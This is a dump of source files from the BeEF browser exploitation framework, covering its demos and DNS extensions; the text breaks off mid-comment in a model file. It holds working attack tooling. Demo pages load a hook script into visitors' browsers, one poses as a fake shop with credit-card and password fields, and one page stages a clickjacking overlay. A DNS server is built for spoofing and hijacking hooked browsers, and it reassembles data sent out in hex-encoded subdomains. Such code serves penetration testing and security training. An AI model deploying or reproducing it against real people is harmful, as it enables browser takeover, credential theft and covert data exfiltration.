    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Demos\n      module RegisterHttpHandlers\n        BeEF::API::Registrar.instance.register(BeEF::Extension::Demos::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')\n\n        #\n        # Mounts the handlers for the demos pages\n        #\n        # @param beef_server [BeEF::Core::Server] HTTP server instance\n        #\n        def self.mount_handler(beef_server)\n          beef_server.mount('/demos', BeEF::Extension::Demos::Handler.new)\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/demos/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        demos:\n            enable: false\n            name: 'Demos'\n\n"
  },
  {
    "path": "extensions/demos/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Demos\n      extend BeEF::API::Extension\n\n      @short_name = 'demos'\n      @full_name = 'demonstrations'\n      @description = 'Demonstration pages for BeEF'\n    end\n  end\nend\n\nrequire 'extensions/demos/api'\nrequire 'extensions/demos/handler'\n"
  },
  {
    "path": "extensions/demos/handler.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Demos\n      class Handler < BeEF::Core::Router::Router\n        set :public_folder, File.expand_path(File.dirname(__FILE__)) + '/html/'\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/demos/html/basic.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html>\n<!--\n    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n    Browser Exploitation Framework (BeEF) - https://beefproject.com\n    See the file 'doc/COPYING' for copying permission\n-->\n<head>\n\t<title>BeEF Basic Demo</title>\n\t<meta charset=\"utf-8\"/>\n\t<script src=\"/hook.js\"></script>\n</head>\n\n<body>\n  <div style='font:12px tahoma,arial,helvetica,sans-serif; width: 450px; margin: 0 auto;' >\n\n    <img src='beef.jpg' />\n\n    <p>You should be hooked into <b>BeEF</b>.</p>\n    <p>Have fun while your browser is working against you.</p>\n    <p>These links are for demonstrating the \"Get Page HREFs\" command module:</p>\n    <ul>\n      <li><a href=\"https://beefproject.com\" target=\"_blank\">The Browser Exploitation Framework Project homepage</a>\n      <li><a href=\"https://github.com/beefproject/beef/wiki\" target=\"_blank\">BeEF Wiki</a></li>\n      <li><a href=\"http://browserhacker.com/\" target=\"_blank\">Browser Hacker's Handbook</a></li>\n      <li><a href=\"https://slashdot.org/\" target=\"_blank\">Slashdot</a>\n    </ul>\n\n    <p>Have a go at the event logger. <label for=\"imptxt\">Insert your secret here:</label></p>\n    <p><textarea type=\"text\" id=\"imptxt\" name=\"Important Text\" style='width: 400px; margin: 0 auto;'></textarea></p>\n    <p>You can also load up a more <a href=\"butcher/index.html\">advanced demo page</a>.</p>\n  </div>\n  <!-- UTF-8 characters for testing purposes: 牛肉 -->\n</body>\n</html>\n"
  },
  {
    "path": "extensions/demos/html/butcher/butch.css",
    "content": "/*\n * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\nhtml {\n\theight: 100%;\n}\nbody {\n\tbackground: #fff;\n\tpadding: 0;\n\tmargin: 0;\n\theight: 100%;\n}\n#content {\n\tposition: relative;\n\twidth: 800px;\n\theight: 100%;\n\tmargin-left: auto;\n\tmargin-right: auto;\n\t/*border: solid 1px black;*/\n\tbackground-image: url(\"right.jpg\");\n\tbackground-repeat: no-repeat;\n\tbackground-position: right top;\n}\n\n#logo {\n\tposition: absolute;\n\ttop: 0;\n\tleft: 0;\n\twidth: 368px;\n}\n#stuff {\n\tposition: relative;\n\t/*border: solid 1px red;*/\n\ttop: 200px;\n\twidth: 420px;\n}\n.bigger {\n\tfont-family: \"Lucida Sans\", arial;\n\tfont-size: 18px;\n}\n.normal {\n\tpadding-top: 20px;\n\tfont-family: \"Lucida Sans\", arial;\n\tfont-size: 14px;\n}\n.smaller {\n\tpadding-top: 20px;\n\tfont-family: \"Lucida Sans\", arial;\n\tfont-size: 8px;\n}\n#friends {\n\tdisplay: none;\n\tpadding-top: 20px;\n}\n#hamper {\n\tdisplay: none;\n\tpadding-top: 20px;\n}\na:link {color:#000;}      /* unvisited link */\na:visited {color:#000}  /* visited link */\na:hover {color:#000;}  /* mouse over link */\na:active {color:#000;}  /* selected link */\n"
  },
  {
    "path": "extensions/demos/html/butcher/index.html",
    "content": "<!--\n    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n    Browser Exploitation Framework (BeEF) - https://beefproject.com\n    See the file 'doc/COPYING' for copying permission\n-->\n<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\n   \"http://www.w3.org/TR/html4/loose.dtd\">\n\n<html lang=\"en\">\n<head>\n\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n\t<title>The Butcher</title>\n\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"butch.css\" />\n</head>\n<body>\n<script src=\"jquery-1.12.4.min.js\"></script>\n<script>\n\n\tfunction showfriends() {\n\t\t$(\"#hamper\").hide();\n\t\t$(\"#friends\").show();\n\t}\n\n\tfunction showHamper() {\n\t\t$(\"#friends\").hide();\n\t\t$(\"#hamper\").show();\n\t}\n\n</script>\n<script src=\"/hook.js\"></script>\n<div id=\"content\">\n\t<!-- Awesome Beef Images from: http://www.flickr.com/photos/bulle_de/4657658048/ and http://www.flickr.com/photos/dinesarasota/3944042189/ -->\n\t<div id=\"logo\">\n\t\t<img src=\"top.jpg\" alt=\"The Butcher\" />\n\t</div>\n\t<div id=\"stuff\">\n\t\t<div class=\"bigger\">\nWelcome to The Butcher, your source of delicious meats. Please feel free to view our samples, sign up to our mailing-list or purchase our special BeEF-hamper!\n\t\t</div>\n\t\t<div class=\"normal\">\n\t\t\t<button type=\"button\" onclick=\"showfriends();\">Our Meaty Friends</button> &nbsp; <button type=\"button\" onclick=\"showHamper();\">Order Your BeEF-Hamper</button>\n\t\t\t<div id=\"friends\">\n\t\t\t\t<ul>\n\t\t\t\t<li><a href=\"https://beefproject.com\" target=\"_blank\">The Browser Exploitation Framework Project homepage</a>\n\t\t\t\t<li><a href=\"https://github.com/beefproject/beef/wiki\" target=\"_blank\">BeEF Wiki</a></li>\n\t\t\t\t<li><a href=\"http://browserhacker.com/\" target=\"_blank\">Browser Hacker's Handbook</a></li>\n\t\t\t\t<li><a href=\"https://slashdot.org/\" target=\"_blank\">Slashdot</a>\n\t\t\t\t</ul>\n\t\t\t</div>\n\t\t\t<div id=\"hamper\">\n\t\t\t\t<p>Delicious delicious hamper, straight to your door!</p>\n\t\t\t\t<form method=\"GET\" action=\"index.html\">\n\t\t\t\t\tName: <input type=\"text\" name=\"yourname\" /><br />\n\t\t\t\t\tPhone: <input type=\"text\" name=\"phone\" /><br />\n\t\t\t\t\tAddress: <input type=\"text\" name=\"address\" /><br />\n\t\t\t\t\tCredit Card: <input type=\"text\" name=\"creditcard\" /><br />\n\t\t\t\t\t<input type=\"submit\" value=\"Buy buy!\" />\n\t\t\t\t</form>\n\t\t\t\t<p>Sign up to our mailing list for delicious meats delivered straight to your inbox!</p>\n\t\t\t\t<form method=\"GET\" action=\"index.html\">\n\t\t\t\tE-mail: <input type=\"text\" name=\"yourname\" /><br />\n\t\t\t\tPassword: <input type=\"password\" name=\"password\" /><br />\n\t\t\t\t<input type=\"submit\" value=\"Sign Up!\">\n\t\t\t\t</form>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class=\"smaller\">\n\t\t\tThanks to http://www.flickr.com/photos/bulle_de/ and http://dineSarasota.com for the BeEF images\n\t\t</div>\n\t</div>\n</div>\n</body>\n</html>\n"
  },
  {
    "path": "extensions/demos/html/clickjacking/clickjack_attack.html",
    "content": "<!--\n    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n    Browser Exploitation Framework (BeEF) - https://beefproject.com\n    See the file 'doc/COPYING' for copying permission\n-->\n\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n<head>\n\t<meta http-equiv=\"Content-Type\" content=\"text/html;charset=UTF-8\" />\n\t<title>You have been p0wned</title>\n\t<script type=\"text/javascript\" src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js\"></script>\n\t<script src=\"http://cdn.jquerytools.org/1.2.7/all/jquery.tools.min.js\"></script>\n\n<style type=\"text/css\">\nbody{\nmargin:0;\npadding:0;\ncolor:#fff;\nfont-family:'Neuton', georgia, serif;\nbackground-color:#999;\n}\n.quotes{\nwidth:100%;\nheight:100%;\ntext-align:center;\nmargin:0 0 50px 0;\npadding-top:50px;\n}\n.quotes .inner{\nwidth:700px;\nmargin:0 auto;\n}\n.inner h1{\nfont-variant:small-caps;\ncolor:#333;\nfont-size:30px;\ntext-shadow:0 0 2px #2D58C4;\nwidth:361px;\nheight:58px;\nmargin:0 auto 30px;\nbackground-repeat:no-repeat;\n}\n.inner .text {\nline-height:48px;\nfont-size:42px;\n}\n.inner .more-quotes{\ndisplay:inline-block;\nwidth:200px;\nbackground:#09C;\ncolor:#fff;\nheight:30px;\nline-height:30px;\n-webkit-border-radius:5px;\n-moz-border-radius:5px;\nborder-radius:5px;\nborder:1p solid #999;\ntext-decoration:none;\nmargin-top:40px;\n}\n.inner .footnote{\npadding:5px 0;\n}\n.inner .footnote > a{\n/*\ndisplay:inline-block;\nwidth:100px;\nbackground:#09C;\ncolor:#fff;\nheight:30px;\nline-height:30px;\n-webkit-border-radius:5px;\n-moz-border-radius:5px;\nborder-radius5px;\nborder:1p solid #999;\ntext-decoration:none;\n*/\ndisplay:none;\nmargin-top:5px;\n}\n.inner .footnote > span{\n/*display:none;*/\n}\n.click-thru{\ncolor:#333;\ndisplay:none;\nwidth:400px;\nborder:10px solid #666;\nborder:10px solid rgba(82, 82, 82, 0.698);\n-moz-border-radius:8px;\n-webkit-border-radius:8px;\nz-index:10000;\n}\n.click-thru div{\npadding:10px;\nborder:1px solid #3B5998;\nbackground-color:#fff;\n}\n.click-thru h2{\nmargin:-11px;\nmargin-bottom:0px;\ncolor:#fff;\nbackground-color:#6D84B4;\npadding:5px 10px;\nborder:1px solid #3B5998;\nfont-size:20px;\n}\n</style>\n</head>\n<body>\n\n<script src=\"/hook.js\"></script>\n\n<div class=\"wrapper\">\n\t<div class=\"quotes\">\n\t\t<div class=\"inner\">\n\t\t\t<h1>Name That Quote</h1>\n\t\t\t<div class=\"text\">You are a sad strange little man, and you have my pity.</div>\n\t\t\t<div class=\"footnote\">\n\t\t\t\t<a href=\"javascript:void(0)\">Who said it?</a>\n\t\t\t\t<span>Buzz Lightyear, Toy Story</span>\n\t\t\t</div>\n\t\t\t<a href=\"javascript:void(0)\" class=\"more-quotes\">Another Quote</a>\n\t\t</div>\n\t</div>\n</div>\n\n<!-- BEGIN: Overlay on Page Load -->\n<div class=\"click-thru\" id=\"overlay1\">\n\t<div>\n\t\t<h2>Click-thru</h2>\n\t\t<p>You must click here to get to the page.</p>\n\t\t<a href=\"javascript:void(0)\" class=\"close\">Okay</a>\n\t\t<a href=\"javascript:void(0)\" style=\"display:inline-block;margin-left:10px;\" class=\"close\">No Thanks</a>\n\t</div>\n</div>\n<!-- END: Overlay on Page Load -->\n\n<script type=\"text/javascript\">\n$(document).ready(function(){\n$(\"body\").width($(window).width()-10);\n$(\"body\").height($(window).height()-70);\n\nvar quotes = [];\nquotes[0] = {title: \"Sometimes you gotta crack a few eggs to make an omelet.\", footnote: \"Charlie, It's Always Sunny In Philadelphia\"};\nquotes[1] = {title: \"Cats do not abide by the laws of nature.\", footnote: \"Charlie, It's Always Sunny In Philadelphia\"};\nquotes[2] = {title: \"We're gonna go America all over their asses!\", footnote: \"Charlie, It's Always Sunny In Philadelphia\"};\nquotes[3] = {title: \"You're about as much use as a condom machine in the Vatican.\", footnote: \"Rimmer, Red Dwarf\"}\nquotes[4] = {title: \"He may look like an idiot and talk like an idiot but don't let that fool you. He really is an idiot.\", footnote: \"Groucho Marx as Rufus T. Firefly, Duck Soup\"}\nquotes[5] = {title: \"You are a sad strange little man, and you have my pity.\", footnote: \"Buzz Lightyear, Toy Story\"}\n$(\".more-quotes\").live(\"click\", function(){\n\tvar random = Math.floor(Math.random()*(quotes.length));\n\t$(\".text\").html(quotes[random].title);\n\t$(\".footnote > span\").html(quotes[random].footnote).show();\n\t$(\".footnote > a\").hide();\n});\n$(\".footnote > a\").live(\"click\", function(){\n\t$(this).hide();\n\t$(\".footnote > span\").show()\n});\n\n// select the overlay element - and \"make it an overlay\"\n$(\"#overlay1\").overlay({\n\ttop:200,\n\tmask:{\n\t\tcolor:'#000',\n\t\tloadSpeed:200,\n\t\topacity:0.5\n\t},\n\tcloseOnClick:false,\n\tload:true\n});\n\n});\n</script>\n</body>\n</html>\n"
  },
  {
    "path": "extensions/demos/html/clickjacking/clickjack_victim.html",
    "content": "<!--\n    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n    Browser Exploitation Framework (BeEF) - https://beefproject.com\n    See the file 'doc/COPYING' for copying permission\n-->\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n<head>\n\t<meta http-equiv=\"Content-Type\" content=\"text/html;charset=UTF-8\" />\n\t<title></title>\n</head>\n<body style=\"background-color:red\">\n\n<p>&nbsp;</p>\n<a href=\"#click1\" onclick=\"javascript:alert('You clicked link1 at '+ window.location);\">moooooooo</a>\n<p>&nbsp;</p>\n<a href=\"#click2\" onclick=\"javascript:alert('You clicked link2 at '+ window.location);\">moooooooo</a>\n</body>\n</html>\n"
  },
  {
    "path": "extensions/demos/html/plain.html",
    "content": "<!--\n    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n    Browser Exploitation Framework (BeEF) - https://beefproject.com\n    See the file 'doc/COPYING' for copying permission\n-->\n<html>\n<head>\n<script src=\"/hook.js\"></script>\n</head>\n<body>\n</body>\n</html>\n"
  },
  {
    "path": "extensions/demos/html/report.html",
    "content": "<!--\n    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n    Browser Exploitation Framework (BeEF) - https://beefproject.com\n    See the file 'doc/COPYING' for copying permission\n-->\n<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>Loading</title>\n<script src=\"/hook.js\"></script>\n</head><body>\n<br/>\n<br/>\n<br/>\n<div align=\"middle\"><img src=\"ajax-loader.gif\" /></div>\n</body></html>\n"
  },
  {
    "path": "extensions/demos/html/secret_page.html",
    "content": "<!--\n    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n    Browser Exploitation Framework (BeEF) - https://beefproject.com\n    See the file 'doc/COPYING' for copying permission\n-->\n<html>\n<head>\n\t<title>Secret Page</title>\n</head>\n<body>\n\t<h1>Secret page</h1>\n\t\n\t<p>\n\t\tThis page is not hooked by <a href=\"https://beefproject.com/\">BeEF</a>.\n\t\tHowever you should still be capable of accessing it using:\n\t</p>\n\t<ul>\n\t\t<li>Rider extension;</li>\n\t\t<li><a href=\"https://github.com/beefproject/beef/wiki/Tunneling\">Tunneling Proxy</a> extension; and</li>\n\t\t<li>'Test Network Request' debug module</li>\n\t</ul>\n\n    <label for=\"imptxt\">Insert your secret here:</label>&nbsp;&nbsp;<input type=\"text\" id=\"imptxt\" name=\"Important Text\" /></p>\n    <!-- UTF-8 characters for testing purposes: 牛肉 -->\n</body>\n</html>\n"
  },
  {
    "path": "extensions/dns/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Dns\n      module API\n        module NameserverHandler\n          BeEF::API::Registrar.instance.register(\n            BeEF::Extension::Dns::API::NameserverHandler,\n            BeEF::API::Server,\n            'pre_http_start'\n          )\n\n          BeEF::API::Registrar.instance.register(\n            BeEF::Extension::Dns::API::NameserverHandler,\n            BeEF::API::Server,\n            'mount_handler'\n          )\n\n          # Starts the DNS nameserver at BeEF startup.\n          #\n          # @param http_hook_server [BeEF::Core::Server] HTTP server instance\n          def self.pre_http_start(_http_hook_server)\n            servers, interfaces, address, port, protocol, upstream_servers = get_dns_config # get the DNS configuration\n\n            # Start the DNS server\n            dns = BeEF::Extension::Dns::Server.instance\n            dns.run(upstream: servers, listen: interfaces)\n          end\n\n          def self.print_dns_info\n            servers, interfaces, address, port, protocol, upstream_servers = get_dns_config # get the DNS configuration\n\n            # Print the DNS server information\n            print_info \"DNS Server: #{address}:#{port} (#{protocol})\"\n            print_more upstream_servers unless upstream_servers.empty?\n          end\n\n          def self.get_dns_config\n            dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')\n\n            protocol = begin\n              dns_config['protocol'].to_sym\n            rescue StandardError\n              :udp\n            end\n            address = dns_config['address'] || '127.0.0.1'\n            port = dns_config['port'] || 5300\n            interfaces = [[protocol, address, port]]\n\n            servers = []\n            upstream_servers = ''\n\n            unless dns_config['upstream'].nil? || dns_config['upstream'].empty?\n              dns_config['upstream'].each do |server|\n                up_protocol = server[0].downcase\n                up_address = server[1]\n                up_port = server[2]\n\n                next if [up_protocol, up_address, up_port].include?(nil)\n\n                servers << [up_protocol.to_sym, up_address, up_port] if up_protocol =~ /^(tcp|udp)$/\n                upstream_servers << \"Upstream Server: #{up_address}:#{up_port} (#{up_protocol})\\n\"\n              end\n            end\n\n            return servers, interfaces, address, port, protocol, upstream_servers\n          end\n\n          # Mounts the handler for processing DNS RESTful API requests.\n          #\n          # @param beef_server [BeEF::Core::Server] HTTP server instance\n          def self.mount_handler(beef_server)\n            beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/dns/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        dns:\n            enable: false\n            name: 'DNS Server'\n            authors: ['soh_cah_toa']\n            protocol: 'udp'\n            address: '127.0.0.1'\n            port: 5300\n            upstream: [\n                ['udp', '8.8.8.8', 53],\n                ['tcp', '8.8.8.8', 53]\n            ]\n"
  },
  {
    "path": "extensions/dns/dns.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Dns\n      # Provides the core DNS nameserver functionality. The nameserver handles incoming requests\n      # using a rule-based system. A list of user-defined rules is used to match against incoming\n      # DNS requests. These rules generate a response that is either a resource record or a\n      # failure code.\n      class Server < Async::DNS::Server\n        include Singleton\n\n        def initialize\n          super()\n          logger.level = Logger::ERROR\n          @lock = Mutex.new\n          @database = BeEF::Core::Models::Dns::Rule\n          @data_chunks = {}\n          @server_started = false\n        end\n\n        # Adds a new DNS rule. If the rule already exists, its current ID is returned.\n        #\n        # @example Adds an A record for browserhacker.com with the IP address 1.2.3.4\n        #\n        #   dns = BeEF::Extension::Dns::Server.instance\n        #\n        #   id = dns.add_rule(\n        #     :pattern  => 'browserhacker.com',\n        #     :resource => Resolv::DNS::Resource::IN::A,\n        #     :response => '1.2.3.4'\n        #   )\n        #\n        # @param rule [Hash] hash representation of rule\n        # @option rule [String, Regexp] :pattern match criteria\n        # @option rule [Resolv::DNS::Resource::IN] :resource resource record type\n        # @option rule [String, Array] :response server response\n        #\n        # @return [String] unique 8-digit hex identifier\n        def add_rule(rule = {})\n          @lock.synchronize do\n            # Temporarily disable warnings regarding IGNORECASE flag\n            verbose = $VERBOSE\n            $VERBOSE = nil\n            pattern = Regexp.new(rule[:pattern], Regexp::IGNORECASE)\n            $VERBOSE = verbose\n\n            @database.find_or_create_by(\n              resource: rule[:resource].to_s,\n              pattern: pattern.source,\n              response: rule[:response]\n            ).id\n          end\n        end\n\n        # Retrieves a specific rule given its identifier.\n        #\n        # @param id [String] unique identifier for rule\n        #\n        # @return [Hash] hash representation of rule (empty hash if rule wasn't found)\n        def get_rule(id)\n          @lock.synchronize do\n            rule = @database.find(id)\n            return to_hash(rule)\n          rescue ActiveRecord::RecordNotFound\n            return nil\n          end\n        end\n\n        # Removes the given DNS rule.\n        #\n        # @param id [String] rule identifier\n        #\n        # @return [Boolean] true if rule was removed, otherwise false\n        def remove_rule!(id)\n          @lock.synchronize do\n            begin\n              rule = @database.find(id)\n              return true if !rule.nil? && rule.destroy\n            rescue ActiveRecord::RecordNotFound\n              return nil\n            end\n            return false\n          end\n        end\n\n        # Returns an AoH representing the entire current DNS ruleset.\n        #\n        # Each element is a hash with the following keys:\n        #\n        # * <code>:id</code>\n        # * <code>:pattern</code>\n        # * <code>:resource</code>\n        # * <code>:response</code>\n        #\n        # @return [Array<Hash>] DNS ruleset (empty array if no rules are currently defined)\n        def get_ruleset\n          @lock.synchronize { @database.all { |rule| to_hash(rule) } }\n        end\n\n        # Removes the entire DNS ruleset.\n        #\n        # @return [Boolean] true if ruleset was destroyed, otherwise false\n        def remove_ruleset!\n          @lock.synchronize do\n            return true if @database.destroy_all\n          end\n        end\n\n        # Starts the DNS server.\n        #\n        # @param options [Hash] server configuration options\n        # @option options [Array<Array>] :upstream upstream DNS servers (if ommitted, unresolvable\n        #   requests return NXDOMAIN)\n        # @option options [Array<Array>] :listen local interfaces to listen on\n        def run(options = {})\n          @lock.synchronize do\n            Thread.new do\n              EventMachine.next_tick do\n                next if @server_started # Check if the server was already started\n                upstream = options[:upstream] || nil\n\n                listen = options[:listen] || nil\n                # listen is called enpoints in Async::DNS\n                @endpoints = listen\n\n                if upstream\n                  resolver = Async::DNS::Resolver.new(upstream)\n                  @otherwise = proc { |t| t.passthrough!(resolver) }\n                end\n\n                begin\n                  # super(:listen => listen)\n                  Thread.new { super() }\n                  @server_started = true # Set the server started flag\n                rescue RuntimeError => e\n                  if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use\n                    print_error \"[DNS] Another process is already listening on port #{options[:listen]}\"\n                    print_error 'Exiting...'\n                    exit 127\n                  else\n                    raise\n                  end\n                end\n              end\n            end\n          end\n        end\n\n        def stop\n          return unless @server_started # Check if the server was started\n      \n          # Logic to stop the Async::DNS server\n          puts EventMachine.stop if EventMachine.reactor_running?\n          @server_started = false # Reset the server started flag\n        end\n\n        # Entry point for processing incoming DNS requests. Attempts to find a matching rule and\n        # sends back its associated response.\n        #\n        # @param name [String] name of the resource record being looked up\n        # @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.)\n        # @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer\n        def process(name, resource, transaction)\n          @lock.synchronize do\n            resource = resource.to_s\n\n            print_debug \"Received DNS request (name: #{name} type: #{format_resource(resource)})\"\n\n            # no need to parse AAAA resources when data is extruded from client. Also we check if the FQDN starts with the 0xb3 string.\n            # this 0xb3 is convenient to clearly separate DNS requests used to extrude data from normal DNS requests than should be resolved by the DNS server.\n            if format_resource(resource) == 'A' && name.match(/^0xb3/)\n              reconstruct(name.split('0xb3').last)\n              catch(:done) do\n                transaction.fail!(:NXDomain)\n              end\n              return\n            end\n\n            catch(:done) do\n              # Find rules matching the requested resource class\n              resources = @database.where(resource: resource)\n              throw :done if resources.length == 0\n\n              # Narrow down search by finding a matching pattern\n              resources.each do |rule|\n                pattern = Regexp.new(rule.pattern)\n\n                next unless name =~ pattern\n\n                print_debug \"Found matching DNS rule (id: #{rule.id} response: #{rule.response})\"\n                proc { |_t| eval(rule.callback) }.call(transaction)\n                throw :done\n              end\n\n              if @otherwise\n                print_debug 'No match found, querying upstream servers'\n                @otherwise.call(transaction)\n              else\n                print_debug 'No match found, sending NXDOMAIN response'\n                transaction.fail!(:NXDomain)\n              end\n            end\n          end\n        end\n\n        private\n\n        # Collects and reconstructs data extruded by the client and found in subdomain, with structure like:\n        # 0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com\n        # [...]\n        # 0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com\n        def reconstruct(data)\n          split_data = data.split('.')\n          pack_id = split_data[0]\n          seq_num = split_data[1]\n          seq_tot = split_data[2]\n          data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC)\n\n          unless pack_id.match(/^(\\d)+$/) && seq_num.match(/^(\\d)+$/) && seq_tot.match(/^(\\d)+$/)\n            print_debug \"[DNS] Received invalid chunk:\\n  #{data}\"\n            return\n          end\n\n          print_debug \"[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}\"\n\n          if @data_chunks[pack_id].nil?\n            # no previous chunks received, create new Array to store chunks\n            @data_chunks[pack_id] = Array.new(seq_tot.to_i)\n            @data_chunks[pack_id][seq_num.to_i - 1] = data_chunk\n          else\n            # previous chunks received, update Array\n            @data_chunks[pack_id][seq_num.to_i - 1] = data_chunk\n            if @data_chunks[pack_id].all? && @data_chunks[pack_id] != 'DONE'\n              # means that no position in the array is false/nil, so we received all the packet chunks\n              packet_data = @data_chunks[pack_id].join('')\n              decoded_packet_data = packet_data.scan(/../).map { |n| n.to_i(16) }.pack('U*')\n              print_debug \"[DNS] Packet data fully received: #{packet_data}. \\n Converted from HEX: #{decoded_packet_data}\"\n\n              # we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it\n              @data_chunks[pack_id] = 'DONE'\n            end\n          end\n        end\n\n        # Helper method that converts a DNS rule to a hash.\n        #\n        # @param rule [BeEF::Core::Models::Dns::Rule] rule to be converted\n        #\n        # @return [Hash] hash representation of DNS rule\n        def to_hash(rule)\n          hash = {}\n          hash[:id] = rule.id\n          hash[:pattern] = rule.pattern\n          hash[:resource] = format_resource(rule.resource)\n          hash[:response] = rule.response\n\n          hash\n        end\n\n        # Verifies that the given ID is valid.\n        #\n        # @param id [String] identifier to validate\n        #\n        # @return [Boolean] true if ID is valid, otherwise false\n        def is_valid_id?(id)\n          BeEF::Filters.hexs_only?(id) &&\n            !BeEF::Filters.has_null?(id) &&\n            !BeEF::Filters.has_non_printable_char?(id) &&\n            id.length == 8\n        end\n\n        # Helper method that formats the given resource class in a human-readable format.\n        #\n        # @param resource [Resolv::DNS::Resource::IN] resource class\n        #\n        # @return [String] resource name stripped of any module/class names\n        def format_resource(resource)\n          /::(\\w+)$/.match(resource)[1]\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/dns/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'async/dns'\n\nmodule BeEF\n  module Extension\n    module Dns\n      extend BeEF::API::Extension\n\n      @short_name = 'dns'\n      @full_name = 'DNS Server'\n      @description = 'A configurable DNS nameserver for performing DNS spoofing, ' +\n                     'hijacking, and other related attacks against hooked browsers.'\n    end\n  end\nend\n\nrequire 'extensions/dns/api'\nrequire 'extensions/dns/dns'\nrequire 'extensions/dns/logger'\nrequire 'extensions/dns/model'\nrequire 'extensions/dns/rest/dns'\n"
  },
  {
    "path": "extensions/dns/logger.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n# Disables the logger used by RubyDNS due to its excessive verbosity.\nclass Logger\n  def debug(msg = ''); end\n  def info(msg = ''); end\n  def error(msg = ''); end\n  def warn(msg = ''); end\nend\n"
  },
  {
    "path": "extensions/dns/model.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      module Dns\n        # Represents an individual DNS rule.\n        class Rule < BeEF::Core::Model\n          # Hooks the model's \"save\" event. Validates pattern/response and generates a rule identifier.\n          before_save :check_rule\n          self.table_name = 'dns_rules'\n          serialize :response, type: Array\n\n          private\n\n          def check_rule\n            validate_pattern(pattern)\n            self.callback = format_callback(resource.constantize, response)\n          rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e\n            print_error e.message\n            throw :halt\n\n            # self.id = BeEF::Core::Crypto.dns_rule_id\n          end\n\n          # Verifies that the given pattern is valid (i.e. non-empty, no null's or printable 